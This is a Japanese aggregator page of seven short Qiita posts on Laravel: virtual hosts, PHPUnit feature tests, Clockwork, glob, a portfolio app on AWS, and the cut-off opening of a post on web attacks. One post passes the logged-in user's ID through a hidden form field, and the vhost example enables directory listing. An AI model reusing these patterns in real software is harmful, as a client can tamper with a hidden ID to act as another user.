20201123のlaravelに関する記事は7件です。

【PHP/Laravel】php artisan serveを使わずにVirtual Hostを設定する

【PHP/Laravel】php artisan serveを使わずにVirtual Hostを設定する

使用環境

  • windows 10 Home(COREi7)
  • XAMPP 7.3.18
  • Laravel 6

そもそもVirtual Hostって何?

バーチャルホストという用語は、1 台のマシン上で (company1.com と company2.com のような) 二つ以上のウェブサイトを扱う運用方法のことを指します。
Apache バーチャルホスト説明書

virtual hostの設定

  • C:\xampp\apache\conf\extra の中のhttpd-vhost.confファイルをまずコピーを取っておく。

  • 以下の部分を書き換える

##NameVirtualHost *:80

・・・中略・・・

##<VirtualHost *:80>
    ##ServerAdmin webmaster@dummy-host.example.com
    ##DocumentRoot "C:/xampp/htdocs/dummy-host.example.com"
    ##ServerName dummy-host.example.com
    ##ServerAlias www.dummy-host.example.com
    ##ErrorLog "logs/dummy-host.example.com-error.log"
    ##CustomLog "logs/dummy-host.example.com-access.log" common
##</VirtualHost>

  • 下記を参考に書き換える
NameVirtualHost *:80

・・・中略・・・

Listen 10001
<VirtualHost localhost:10001>
    ##ServerAdmin webmaster@dummy-host.example.com
    DocumentRoot "C:\laravel\practice\public"
    ##ServerName dummy-host.example.com
    ##ServerAlias www.dummy-host.example.com
    ##ErrorLog "logs/dummy-host.example.com-error.log"
    ##CustomLog "logs/dummy-host.example.com-access.log" common
    <Directory "C:\laravel\practice\public">
      AllowOverride All
      Options +Indexes
      Require all granted
    </Directory>
</VirtualHost>


  • 新しくポートを作る。

  • 任意で指定するポート番号を付ける(今回は10001を使用)
    Listen 10001と記入

  • その下にVirtualHostの設定を書き込む
    DocumentRootの#を外しディレクトリ設定を書き込む
     AllowOverride All
     →.htaccessで設定可能なものは全て有効になる

 Options +Indexes
 →ディレクトリに対するリクエストに対して、DirectoryIndex で指定したファイル(index.html 等)が存在しない場合に、ディレクトリ内ファイルの一覧を表示

 Require all granted
 →無条件でアクセスを許可

Apache HTTP SERVER PROJECT

  • DocumentRootとDirectoryにLaravelプロジェクト(今回はpractice)のpublicを指定する

参考

Qiita:ApacheのVirtual Hostってなんだ

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

ログイン時のデータ取得について書いてみた

ログインしている人がフォームで何かデータを入力することが多いと思いますががそのデータ入力時に
ログインしている人のidも取得したいと思うことがある。そんな時のやり方がわからなかったので
ここに忘備録として書いておきます。

 <form method="post" action="{{route('post.store')}}">
 @csrf

 <input type="hidden" id="user_id" value="{{Auth::id()}}">

 <textarea name ="message"class="form-control" id="exampleFormControlTextarea1" 
 rows="3"></textarea>
 </form>

type="hidden" を使うことでフロントには表示されずにフォームに登録することができます。
また、value="{{Auth:id( )}}"とありますがこれは今現在ログインしている人のidをフォームに入力しているという意味になります。

いやー。Auth::idの書き方を知らなかったので解決するのに1日かかってしまいました。
基礎がしっかりしていないと大変な目に遭いますね。これでみなさんも
ログイン時のid検出の仕方忘れた場合は利用してみてください。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Laravelのtestで画面回りのテストをする

この前Laravelのテストのやり方を書いたときは、API用のだった。
普通のWeb画面で動くシステムをテストするのって、どうすんの?
てことで、またぞんざいな感じで書いてみる。

1.どんなテストをするか考える。

この前勢いに任せてLaravel8で画面だけ作ったけれど、まだCRUDまで作ってないんだよな。なので今回は認証して画面遷移するところだけテスト対象とするよ。

・Laravel標準ログイン画面でログイン
・メニュー表示
・照会画面を表示
・更新画面を表示
・更新できないユーザーの時、更新できないメッセージが表示されることを確認

画面のテストはchromeを自動で動かしてやる方法もあるらしいけれど、今回は普通にテストの機能を使ってテストするよ。

ちなみにCRUDは今後テスト駆動であーしてこーしたことを記事にして、laravelerのハートをわしづかみにしてやるぜ!乞うご期待!(うそ)

2.テスト用の環境を作る

前回は先走ってtestクラスを先に作っちゃったから、順番がよくわからない記事になっちゃったよ。その反省を踏まえ、今回は焦らず環境作りから書いていくよ。やる内容はこんな感じだ。
・テスト用DBの定義を.env.testingに書く
・phpunit.xmlにテスト環境の設定を書く
・テスト用DBの作成

なんか、ついつい設定よりDB作るとか、結果がわかる作業を先にしたくなるよね。
でも、落ち着けよブラザー。説明の都合上、定義を書くところから書いていきます。

2.1. テスト用DBの定義を.env.testingに書く

俺はテスト用のDBなんていらねーぜ!いつだって一発勝負さ!って人は、ここから先読み飛ばしてもらっていいです。てか、そういう人はテストしない気がする。そもそもこんな記事読まないか。
臆病者の私は、失敗しないようにおどおどしながらテスト用のDBを作ります(外国語直訳風)。
そういったテスト用の設定は、通常の.envとは別に、.env.testingというファイルに設定を書いておけます。これならおどおどしなくても平気だね。
laravelプロジェクトフォルダーの中にある、.envファイルをコピーして、「.env.testing」にリネームします。ドットふたつついているけど、これで正解です。
で、以下の部分を書き換えます。
APP_ENV → 「tesitng」に変更する
APP_KEY → 今書いてあるキーを消して、空白にする。後でコマンド入れて設定します。
DB_DATABASE → テスト用のDB名に変更します。今回はlara8test_testにします。

なんかプロジェクト名にtestって入れちゃったから、テスト作るときわかりづらくなった。よい子はマネしないでね。

2.2. phpunit.xmlにテスト環境の設定を書く。

laravelプロジェクトを作成すると、自動的にphpunitがついてくる。phpunitを使わなければphpunit.xmlは放っておいても平気だけど、phpunitを使うときはここにテストの設定を入れるよ。
phpunit.xmlの初期設定はこんな感じ。

phpunit.xml
<?xml version="1.0" encoding="UTF-8"?>
<phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="./vendor/phpunit/phpunit/phpunit.xsd"
         bootstrap="vendor/autoload.php"
         colors="true"
>
    <testsuites>
        <testsuite name="Unit">
            <directory suffix="Test.php">./tests/Unit</directory>
        </testsuite>
        <testsuite name="Feature">
            <directory suffix="Test.php">./tests/Feature</directory>
        </testsuite>
    </testsuites>
    <coverage processUncoveredFiles="true">
        <include>
            <directory suffix=".php">./app</directory>
        </include>
    </coverage>
    <php>
        <server name="APP_ENV" value="testing"/>
        <server name="BCRYPT_ROUNDS" value="4"/>
        <server name="CACHE_DRIVER" value="array"/>
        <!-- <server name="DB_CONNECTION" value="sqlite"/> -->
        <!-- <server name="DB_DATABASE" value=":memory:"/> -->
        <server name="MAIL_MAILER" value="array"/>
        <server name="QUEUE_CONNECTION" value="sync"/>
        <server name="SESSION_DRIVER" value="array"/>
        <server name="TELESCOPE_ENABLED" value="false"/>
    </php>
</phpunit>

で、この中の以下の部分を変更する。
・<server ~/>のserverを「env」に変更する。
・コメントになっているDB_CONNECTIONをちゃんと書く。.env.testingのDB_CONNECTIONに書いた値と一緒にしてね。
・コメントになっているDB_DATABASEをちゃんと書く。これも.env.testingのDB_CONNECTIONに書いた値と一緒だ。

ここまで変更したら、プロジェクトのフォルダーのところでphp artisanを使ってAPP_KEYを設定しよう。

> php artisan key:generate --env=testing

実行すると、.env.testingのAPP_KEYに値が設定されているよ。

2.3.テスト用DBの作成

ようやくDBを作ります。

> mysqladmin create lara8test_test

ちなみにこのコマンドは、mysqlとかmariaDB用だからね。普通にDB作ればいいだけの話です。
作ったDBの中にテーブルを作成したいわけだけど、これはmigrateを使ってやります。migrateする先のDBを、テスト用のDBにしてやるわけです。

php artisan migrate --env=testing

これでテスト環境が整いました。

3.testクラスを作る

もういい加減覚えたろう。laravelでなんか作るときは、php artisan makeだよね。
そこから先は、いつも忘れるんだけど。

> php artisan make:test TestinputControllerTest

作ったコントローラの名前の後ろに「Test」をつけたよ。
作られたソースはlaravelプロジェクトのtestsフォルダーの下のfeatuerフォルダーに作られる。featureは機能テスト用だそうな。ユニットテスト用にしたいときは、「--unit」を後ろにつけるとunitフォルダーに作るらしい。

さて、今回実際テストしたいロジックは、下記の通り。ちょびっとしかないね。

TestinputController.php
public function show($id)
{
    //ぞんざいな照会画面を表示する
    return view('testinput.show');
}

public function edit($id)
{
    if(Gate::denies('user')) {
        //ぞんざいな更新画面を表示する
        return view('testinput.edit');
    } else {
        session()->flash('editmsg', 'あんた更新できないよ!!');
        return view('menu/menu');
    }
}

まずはぞんざいな照会画面のテストだ。
showは本来\$idを渡しているから、その値でいろんなテストができそうだけど、ぞんざいに作ったから\$idなんて使ってない。適当な値を渡しているだけだ。
なので、テストも雑に作ってみる。

TestinputControllerTest.php
<?php

namespace Tests\Feature;

use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Foundation\Testing\WithFaker;
use Tests\TestCase;

class TestinputControllerTest extends TestCase
{
    /**
     * ぞんざいな照会 正常ケース
     *
     * @test
     * @return void
     */
    public function show_ぞんざいな照会正常ケース()
    {
        $response = $this->get(route('testinput.show',' '));
        $response->assertStatus(200);
    }
}

@testアノテーションをつけるかfunctionの名前をtest~とつければ、テストメソッドとして実行される。今回は@testアノテーションをつけてみたよ。
routeで行き先を指定して、そのHTTPレスポンスのステータスが200ならOK,というテストだ。
せっかちなので、一回これで動かしてみる。
動かす時は、サーバーが動いているところのプロジェクトフォルダで「./vendor/bin/phpunit」を実行すればいい。
何言っているかわかんないって?端的に言えば、php artisan serverで動かしたときはローカルPCのコマンドプロンプトで実行、homesteadみたいな仮想サーバーで動かしているときは、仮想サーバーに接続して実行しろってことさ。

$ ./vendor/bin/phpunit

そのまま実行すると…あれ、OKだけど、「3 tests」って書いてある。

agrant@homestead:~/code/lara8test$ ./vendor/bin/phpunit
PHPUnit 9.4.2 by Sebastian Bergmann and contributors.

...                                                                 3 / 3 (100%)

Time: 00:01.741, Memory: 22.00 MB

OK (3 tests, 3 assertions)
vagrant@homestead:~/code/lara8test$

それはね。プロジェクト作ったままだと「ExampleTest.php」がfeatureとunitに入っていて、その中にひとつずつテストが設定されているから、それも動いちゃったんだね。
ちぇ。いらないExampleTest.phpは速攻消してしまおう。
それで改めて実行すると。

vagrant@homestead:~/code/lara8test$ ./vendor/bin/phpunit
PHPUnit 9.4.2 by Sebastian Bergmann and contributors.

.                                                                   1 / 1 (100%)

Time: 00:01.372, Memory: 20.00 MB

OK (1 test, 1 assertion)

1 testに変わったよ。一つのテストが成功したってことだね。
しかし、これでいいのか?チェックがなさ過ぎてつまんない。
なので、「ログインしていないとTestinputにつながらない」ようにしよう。
web.phpのTestinputのrouteに、そんなような仕込みを入れる。

Route::resource('testinput', TestinputController::class)->middleware('auth');

それでもう一回テストを流してみると。

vagrant@homestead:~/code/lara8test$ ./vendor/bin/phpunit
PHPUnit 9.4.2 by Sebastian Bergmann and contributors.

F                                                                   1 / 1 (100%)

Time: 00:01.636, Memory: 20.00 MB

There was 1 failure:

1) Tests\Feature\TestinputControllerTest::show_ぞんざいな照会正常ケース
Expected status code 200 but received 302.
Failed asserting that 200 is identical to 302.

/home/vagrant/code/lara8test/vendor/laravel/framework/src/Illuminate/Testing/TestResponse.php:186
/home/vagrant/code/lara8test/tests/Feature/TestinputControllerTest.php:21

FAILURES!
Tests: 1, Assertions: 1, Failures: 1.

エラーになった!「ステータス200って言ってるけど、302が返ってきたよ」みたいなことを言っている。多分。

4.認証データを仕込む

では、ログインしている体でテストができるようにしよう。
予めテスト用のDBにユーザーを登録しておいてもいいんだけれど、そうするとテスト用のユーザーを設定しておかないとテストが上手く動かなくなってしまう。なるべくなら、テストを実行したらいつでも同じようにテストが流れてほしいよね。
なので、テストの中でデータを作成するようにします。
テストデータは、factoryで仕込むんだよ。factoryって大量データを仕込める奴、って認識だったけど、どちらかというとテストを動かす時にデータを仕込める奴、だったんだね。だから「データをDBに保存しないモード」が存在するのか。
余談はさておき、ユーザーデータを仕込んでみよう。

TestinputControllerTest.php
/**
 * ぞんざいな照会 正常ケース
 *
 * @test
 * @return void
 */
public function show_ぞんざいな照会正常ケース()
{
    $user = User::factory()->create();

    $response = $this->actingAs($user)->get(route('testinput.show',' '));
    $response->assertStatus(200);
}

追加ポイントはふたつ。
・User::factory()->create();を追加⇒userにfactoryで指定したデータを1件作成する。
・->actingAs($user)を追加⇒作成したデータでログインした体にしてくれる。
これで流してみる。

vagrant@homestead:~/code/lara8test$ ./vendor/bin/phpunit
PHPUnit 9.4.2 by Sebastian Bergmann and contributors.

.                                                                   1 / 1 (100%)

Time: 00:01.916, Memory: 24.00 MB

OK (1 test, 1 assertion)

上手くいった!
では、更新系のテストも仕込んでみよう。

TestinputControllerTest.php
/**
 * ぞんざいな更新 責任者のケース
 *
 * @test
 * @return void
 */
public function edit_ぞんざいな更新責任者のケース()
{
    $user = User::factory()->create(['access_auth' => '1']);

    $response = $this->actingAs($user)->get(route('testinput.edit',' '));
    $response->assertStatus(200)
        ->assertSessionMissing('editmsg');
}

/**
 * ぞんざいな更新 管理者のケース
 *
 * @test
 * @return void
 */
public function edit_ぞんざいな更新管理者のケース()
{
    $user = User::factory()->create(['access_auth' => '9']);

    $response = $this->actingAs($user)->get(route('testinput.edit',' '));
    $response->assertStatus(200)
        ->assertSessionMissing('editmsg');
}

/**
 * ぞんざいな更新 担当者のケース
 *
 * @test
 * @return void
 */
public function edit_ぞんざいな更新担当者のケース()
{
    $user = User::factory()->create(['access_auth' => '0']);

    $response = $this->actingAs($user)->get(route('testinput.edit',' '));
    $response->assertStatus(200)
        ->assertSessionHas('editmsg');
}

更新処理は、勝手に追加した「access_auth」という項目が'1'(責任者)、'9'(管理者)のときはそのまま表示するけど、'0'(担当者)だったら「あんた更新できないよ!!」ってメッセージをフラッシュで表示している。
なので、アクセスしに行ったときに担当者だったらフラッシュメッセージを出していること、責任者と管理者だったら逆にメッセージを出していないことをテストしたい。
なので、ステータスのチェック+フラッシュメッセージのチェックを行うよう設定する。
assertSessionHas⇒セッションが指定したデータを持っていることを宣言
assertSession⇒セッションが指定したキーを持っていないことを宣言
これで実行してみると。

vagrant@homestead:~/code/lara8test$ ./vendor/bin/phpunit
PHPUnit 9.4.2 by Sebastian Bergmann and contributors.

....                                                                4 / 4 (100%)

Time: 00:02.187, Memory: 26.00 MB

OK (4 tests, 7 assertions)

上手く出来たっぽい。
でも本当か?本当にやり切ったのか?大人なんて信用できない!
てなわけで、わざわざエラーになるようソース変えちゃう。よい子はマネしないでね。

TestinputController.php
public function edit($id)
{
    if(Gate::denies('user')) {
        //ぞんざいな更新画面を表示する
        session()->flash('editmsg', 'あんた更新できないよ!!');
        return view('testinput.edit');
    } else {
        return view('menu/menu');
    }
}

メッセージを出す条件を逆にしてみました。
これでさっきのテストを流すと。

vagrant@homestead:~/code/lara8test$ ./vendor/bin/phpunit
PHPUnit 9.4.2 by Sebastian Bergmann and contributors.

.FFF                                                                4 / 4 (100%)

Time: 00:02.426, Memory: 26.00 MB

There were 3 failures:

1) Tests\Feature\TestinputControllerTest::edit_ぞんざいな更新責任者のケース
Session has unexpected key [editmsg].
Failed asserting that true is false.

/home/vagrant/code/lara8test/vendor/laravel/framework/src/Illuminate/Testing/TestResponse.php:1040
/home/vagrant/code/lara8test/tests/Feature/TestinputControllerTest.php:38

2) Tests\Feature\TestinputControllerTest::edit_ぞんざいな更新管理者のケース
Session has unexpected key [editmsg].
Failed asserting that true is false.

/home/vagrant/code/lara8test/vendor/laravel/framework/src/Illuminate/Testing/TestResponse.php:1040
/home/vagrant/code/lara8test/tests/Feature/TestinputControllerTest.php:53

3) Tests\Feature\TestinputControllerTest::edit_ぞんざいな更新担当者のケース
Session is missing expected key [editmsg].
Failed asserting that false is true.

/home/vagrant/code/lara8test/vendor/laravel/framework/src/Illuminate/Testing/TestResponse.php:865
/home/vagrant/code/lara8test/tests/Feature/TestinputControllerTest.php:68

FAILURES!
Tests: 4, Assertions: 7, Failures: 3.

ちゃんとエラーになった!大人も信用していいんだ!
こんな風にアサートを増やしていけば、いろんなチェックを追加していけるよ。

テストを作っていくのは面倒だけど、システムに機能を追加していくとデグレードの確認に手間がかかるから、なるべく早い段階でテストを準備していくほうがいいね。

それじゃー今日はこんなところだ。また逢う日まで、再見!

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

LaravelでAPIを作る時のデバッグにClockWork

APIメインの開発をLaravelで作るときの、効率いいデバッグ方法を調べました。
普通であれば、LaravelDebugbarを入れてデバッグすると、呼び出されたSQLなどが見れて開発が捗ります。
が、これはviewにかかれるので、jsonのレスポンスの場合は使えません。
こう言った場合はClockworkを使うと良さそうです。

インストール

$ composer require itsgoingd/clockwork

次にChrome拡張のClockworkをいれます。

Clockwork

デバッグ

F12からClockworkのタブを見れば、Performanceや使っているModel、呼び出したSQLが確認できます。

Clockwork chrome

また clock() というヘルパーも提供されて、dd() のように使えて、ClockworkのLogに吐き出されます。
すごく便利で開発が捗りますね。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Laravelでとあるディレクトリのファイル一覧を取得したい人へ

世にはいろいろなQiita記事があり,Laravelの記事も様々...かと思いきや,Laravelの記事って結構少なくないですか?

タイトルの通り,この記事はLaravelでほかのファイルの名前を取得したい人への僕のささやかな気持ちです.
一方的に投げつけておくのでどうぞ受け取ってください.

やり方

  1. 〇〇_path('パス\*')で,ファイル一覧を取得したいディレクトリのフルパスを取得.
  2. glob(取得したフルパス)で,ディレクトリ内のファイルのパスを配列として取得.

ステップ1. 〇〇_path('パス\*')で,ファイル一覧を取得したいディレクトリのフルパスを取得.

〇〇_path()というヘルパ関数を使います.
この関数は,相対パスを指定したフォルダやファイルのフルパスを取得することができる関数です.
これには以下の種類があり,それぞれの〇〇の部分が,パスを取得できる場所(rexourcesやpublicなど)に対応しています.

  • app_path()
  • base_path()
  • config_path()
  • database_path()
  • mix_path()
  • public_path()
  • resource_path()
  • storage_path()

参照:Helpers - Laravel - The PHP Framework For Web Artisans

使用例は次の通りです.

hogehogeController.php
// resourceディレクトリ内のviews/folder1のフルパスを取得
$path = resource_path('views/folder1'); //出力例(ローカルの場合)->C:\Users\(途中のディレクトリ)\resources\views\file1

// publicディレクトリ内のcss/app.cssのフルパスを取得
$path = public_path('css/app.css'); //出力例(サーバーの場合)->/home/users/(途中のディレクトリ)/public/css/app.css

注意:パスの指定にバックスラッシュ\を使うと,Windowsではうまくいきましたがサーバー(Linux)ではパスを取得できませんでした.なので,スラッシュ/で指定しましょう!

ステップ2.glob(取得したフルパス)で,ディレクトリ内のファイルのパスを配列として取得.

〇〇_path()で相対パスをフルパスにしたら,次はglob()の出番です.
glob()は,一定のパターン(詳しくは後述)にマッチするパスを探すことができる関数です.

参照:PHPのglobメソッドの使い方を現役エンジニアが解説【初心者向け】 | TechAcademyマガジン

使用例は次の通り

hogehogeController.php
// resources/views/folder1内のすべてのファイル(file1.txt, file2.blade.php)を取得
$path = resource_path('views/folder1/*.*');
$files = glob($path);

//出力例
// -> /home/users/(途中のディレクトリ)/resources/views/folder1/file1.txt
// -> /home/users/(途中のディレクトリ)/resources/views/folder1/file2.blade.php

上記の例では,すべてのファイルを取得するように,resource_path()に指定するパスの最後にパターンの指定/*.*をつけています.
これを例えば/*にすればすべてのファイルとディレクトリ,/*.blade.phpにすれば全てのブレードファイルを取得できます.

これでとあるディレクトリのファイル一覧を配列として取得できました!
あとは適宜,正規表現で使いたいところを切り出しましょう...!

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS, Docker, CircleCI, Laravelでポートフォリオを作成してみた【参考リンク付き】

初めに

今回はDocker, CircleCI, AWS等、人気の高まっているインフラ技術を一から学んで、Webアプリを作成してみました。
バックエンドはLaravel、フロントエンドにVue.js等といった構成です。

この記事では、アプリ開発にあたって苦労した点や、
各機能実装の際に参考にした記事や教材についてもご紹介していければと思います。

アプリの概要

朝活をテーマをしたSNSアプリです。

  • 朝活仲間を作り、「コツコツ」継続できる
  • 朝活習慣の「コツ」を共有して、朝活の挫折を防ぐ

ことをコンセプトに、「朝活」を文字って「AsaKotsu」というサービスを開発しました。
URLはこちら↓です。よければ、ご自由に動かしてみてください^^

アプリのURL:https://pf.asakotsu.com/
(※まだスマホ対応が完了していないので、PCでの閲覧推奨です^^;)

GitHubのURL:https://github.com/ngsw877/asakotsu

使用画面のイメージ

トップページ(投稿一覧とランキング等)
スクリーンショット 2020-11-16 8.00.00.png

タグ毎の投稿一覧
スクリーンショット 2020-11-22 20.10.06.png

投稿詳細と、コメント一覧
スクリーンショット 2020-11-22 20.05.41.png

Zoomミーティング一覧
スクリーンショット 2020-11-16 22.44.58 2.png

ユーザー詳細画面
スクリーンショット 2020-11-16 23.06.16.png

早起き達成時
スクリーンショット 2020-11-22 20.03.34.png

無限スクロール
infinitscroll.gif

このアプリの特徴

基本的にはtwitterのような投稿、コメント、いいね、フォロー機能のあるSNSですが、
その他に以下のような特徴のあるアプリです。

  • アプリから、朝活Zoomミーティングを作成、編集、削除できる(ZoomAPI連携)
  • 目標起床時間を設定して、早起き達成日数を記録することができる
  • 早起き達成日数のランキング機能(1ヶ月ごとに集計)
  • 投稿にタグ付けし(カテゴリ)、「朝コツ」タグ等で朝活のコツを共有することができる

使用技術

  • フロントエンド

    • Vue.js 2.6.11
    • jQuery 3.4.1
    • HTML / CSS / Sass / MDBootstrap
  • バックエンド

    • PHP 7.4.9
    • Laravel 6.18.36
    • PHPUnit 8.5.8
    • ZoomAPI (guzzlehttp/guzzle 7.0.1)
  • インフラ

    • CircleCi
    • Docker 19.03.12 / docker-compose 1.26.2
    • nginx 1.18
    • mysql 5.7.31 / PHPMyAdmin
    • AWS ( EC2, ALB, ACM, S3, RDS, CodeDeploy, SNS, Chatbot, CloudFormation, Route53, VPC, EIP, IAM )

サーバーサイドのロジックはPHP/Laravelでプログラミングし、
フロントエンドの細かいデザインはSassで整え、動きを付けたい時はVue.jsやjQueryで実装しました。
開発環境にDocker/docker-composeを使用し、
CI/CDパイプラインに関しては、CircleCIで自動テスト・ビルドを行い、
AWSのCodeDeployで自動デプロイを実現するようにしています。

インフラ構成図

AWS_Diagram.png

開発環境、本番環境について

開発環境にDocker / docker-composeを使用しており、以下の4つの用途のコンテナを使用しています。

  1. Webサーバーのコンテナ: Nginx
  2. アプリケーションのコンテナ: PHP / Laravel / Vue.js
  3. DBのコンテナ: MySQL
  4. DB管理用のコンテナ: PHPMyAdmin

参考リンク:

本番環境のAWS上ではECSでデプロイしたかったのですが、
難易度が高く断念・・
ひとまずEC2でのデプロイ経験にも慣れるため、今回はEC2上で環境構築していく形で進めていきました。

SSL証明書の発行

SSL証明書を発行してHTTPS化も実現したかったため、ACM(AWS Certificate Manager)を使用しています。

ACMを使用するためには、EC2に加えて、ALB(ELB)CloudFrontも必要になってくるため、今回はALBを導入することにしました。
なお、ALBを使用しているものの、節約のため現状では負荷分散やスケールアウトする程のアクセスが見込まれないため、EC2インスタンスは1つのみ用意しています。
なお、アドレスバーに鍵マークがついても、Laravel側のプロキシ設定をしないとcssやjsファイルが読み込まれなかったり、ルーティングがhttps化されなくなるので要注意な印象。。

参考リンク:
- AWS:無料でSSL証明書を取得する方法
- 信用するプロキシの設定

S3バケットへのアップロード

S3は、以下の2つの用途別に用意しています。

  1. CircleCIでビルドしたソースを格納

  2. EC2上のアプリでアップロードした画像データを格納

2に関しては、S3のバケットポリシーの設定や、Laravel側でS3用パッケージのインストールが必要だったりと意外にやるべきことがありました。

参考リンク:

Slackへの通知設定

CodeDeploySNSChatbotを連携して、自動デプロイの開始と終了のタイミングでSlackアカウントに通知が飛んでくるようにしています。なかなか便利。

機能一覧

  • ユーザー登録関連

    • 新規登録、プロフィール編集機能
    • ログイン、ログアウト機能
    • かんたんログイン機能(ゲストユーザーログイン)
  • ZoomAPI連携

    • 朝活Zoomミーティング機能(CRUD)
      • ミーティングの新規作成、一覧表示、編集、削除機能
  • 早起き達成の判定機能

    • ユーザー毎に目標起床時刻を設定可能(4:00〜10:00まで)
    • 目標起床時間より前に投稿をすることができれば、早起き達成記録が1日分増えます。
    • ※深夜過ぎ等に投稿した場合も早起き成功とならぬよう、
        目標起床時間より3時間前に投稿しても無効になるよう対処しています。
      (例)目標起床時間を07:00に設定した場合、04:00~07:00に投稿できたら早起き達成
  • ユーザーの早起き達成日数のランキング機能(1ヶ月毎)

  • 無限スクロール機能 (jQuery / inview.js / ajax)

  • ユーザー投稿関連(CRUD)

  • コメント機能

  • タグ機能 (Vue.js / Vue Tags Input)

  • いいね機能 (Vue.js / ajax)

  • フォロー機能

    • フォロー中/フォロワー一覧(ページネーション)
  • フラッシュメッセージ表示機能 (jQuery/ Toastr)

    • 投稿、編集、削除、ログイン、ログアウト時にフラッシュメッセージを表示
  • 画像アップロード機能 (AWS S3バケット)

  • PHPUnitテスト

DB設計

ER図

AsaKotsu_ERD.png

各テーブルについて

テーブル名 説明
users 登録ユーザー情報
follows フォロー中/フォロワーのユーザー情報
achievement_days ユーザーが早起き達成した日付を、履歴として管理
meetings ユーザーが作成したZoomミーティング情報
articles ユーザー投稿の情報
tags ユーザー投稿のタグ情報
article_tags articleとtagsの中間テーブル
likes 投稿への、いいねの情報
comments ユーザー投稿への、コメントの情報

早起き達成機能 関連のポイント

usersテーブルwake_up_timeはユーザーの目標起床時間を意味しています。
この時間よりも早い時間にユーザーが投稿をできれば、その日の早起きが達成となります。
なお、
「目標起床時間が07:00で、深夜1:00に投稿した」
というように、早過ぎる時間にユーザーが投稿した
場合にも早起き達成とならないように設定しています。
その仕組みとして、usersテーブルrange_of_successの値が利用されています。
これは、
「目標起床時間より何時間前までに投稿すれば早起き達成となるのか、その範囲を表す整数値」
です。
デフォルトは3で、例えば目標起床時間を07:00に設定している場合は、その3時間前の
04:00 〜 07:00 の間に投稿できれば早起き達成となります。

こうして早起き達成をすることができたら、achievement_daysテーブルdateに達成日の日付が履歴として記録されていきます。
例) 2020-11-22
この日付データを利用して、以下の機能を実現しています。

①  1ヶ月毎の早起き達成日数を算出
② ①の日数を利用したランキング機能

当初は、早起き継続日数のランキングにしようかとも考えていましたが、
ユーザーのモチベーション維持等の観点から1ヶ月毎の早起き達成日数を採用することにしました。

※朝活アプリなので、もともとは目標起床時間04:00~10:00の間しか設定できない仕様ですが、
現在は「早起き達成判定」機能を好きな時間にお試しいただけるよう、時間設定を自由にできるようにしています。

苦労したこと

開発からデプロイまで、どの工程でももれなくエラーで苦戦しましたがw、
ここでは特に印象に残っている点をまとめます。

CircleCIで苦労したこと

  • CircleCIの設定ファイルである、config.ymlの設定
  • 自動ビルド、自動テストの流れの理解

config.ymlの設定においては、だいぶエラーに悩まされました。。
特に、コマンドやパスを指定する時は、パスのルートはどこが起点になっているのかを理解することが重要な印象。
テスト失敗時の対策としては、ビルドされたコンテナにSSHログインしてエラーログを確認し、原因を解消していくようにしていました。

参考リンク: SSH を使用したデバッグ

AWSデプロイで苦労したこと

  • ACMでのSSL証明書発行
  • Laravelで画像をS3にアップロードする設定
  • CodeDeployでの、自動デプロイ設定(特にappspec.yml)
  • EC2インスタンスのセットアップ

上述した、
SSL証明書の発行
S3バケットへのアップロード
周りでエラーにハマりがちでした。
また、今回はECSでなくEC2でデプロイすることとしましたが、EC2にSSHログインしてから
インストールしたり設定するファイルが多く、その辺りの作業も大変でした。
この工程を考えると、ますますECSを扱えるようになりたく思いましたね^^;

フロントエンドで苦労したこと

  • UI/UXの調整(Sass)
  • Ajax全般

バックエンドでの苦労

  • DB設計
  • DBリレーション関連の処理
  • PHPUnitでのテスト全般

リレーション周りについては当初かなり苦戦しました。
どのテーブルとどのテーブルを関連付けるのか、また関連付けた情報をどうやって取得すれば良いのか?
また、

  • $article->user()
  • $article->user

例えばこの2つの違いについても重要なポイントと感じました。

PHPUnitのテストコードについては、体系的に学べる情報がなかなか見つからなかったので、情報収集に苦労しました。

ZoomAPI連携で苦労したこと

  • Guzzleの理解
  • ZoomAPIの理解

アプリ上からZoomミーティングを作成したり編集できる機能をつけることにしましたが、
これまで外部APIを利用したことがなかったこともあり、文法的なものや、API通信の仕組みについて理解するまでが難しく感じました。

実装にあたり、まずLaravelでZoomAPIと通信を行うために、PHPのHTTPクライアントである
Guzzleをインストールしました。

参考リンク:

次に、Zoomアプリマーケットプレイスでアプリを登録し、公式ドキュメントを読んでみるも、英語な上初めはどこのページの何を見れば良いのかわからず苦戦しました。。^^;

Laravelで、ZoomAPIと通信を行う処理のサンプルコードを紹介している
海外の記事を参考にしたりしているうちに、次第に公式ドキュメントから必要な情報を探せるようにもなってきました。

参考リンク:

ただ、今回Laravel6系でアプリを開発していたため、通常Laravel7系で使用できるGuzzleラッパーが使えず、ややコードを書き換えないといけない点にも苦労しました。

参考にした学習教材等

基本的には、UdemyTechpitで学習してきました。
この2つはとてもわかりやすいです。
個人的には、Udemyで基礎を学んでから、応用編としてTechpitで手を動かしながら学ぶのが良いと感じました。

Docker / docker-compose

PHPUnit / CircleCI / AWS

AWS

Laravel

Laravel / Vue.js

Sass

今後の課題

  • レスポンシブWebデザイン(スマホ対応)
  • デザイン面の改善
  • 無限スクロールの不具合修正(読み込まれた投稿のいいねボタンが消える)
  • ALBにAuto Scalingを追加し、EC2を冗長化
  • ECS(EKS)でのデプロイ
  • RDSの冗長化
  • インフラのコード化
  • 検索機能の追加
  • テストコードの充実
  • 投稿時に別画面へ遷移するのではなく、入力フォームをモーダルで表示させるようにする
  • 開始前のZoomミーティング、終了ミーティングのソート機能

まだ課題も多いですが、一つずつ改善してよりブラッシュアップしていきたく思います。

だいぶ長い記事になってしまいましたが、ここまで読んでくださりありがとうございました!^^

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Webサイトに来た攻撃をまとめてみた

はじめに

自宅にインターネットに公開しているWebサイト(自宅サーバー)があります。Webサイトでは日夜、世界中から脆弱性を悪用しようと攻撃を受けているのですが、今回は実際にWebサイトに来た攻撃の一部を紹介してみようと思います。

環境

  • Laravel(PHP)を用いた動的なWebサイトなどを自宅で公開
  • インターネットとの境界線にFW(Fortigate)を設置。UTMライセンスあり
  • インターネット->自宅サーバーNWへの通信に対してFWのアンチウイルスIPSWAFを有効
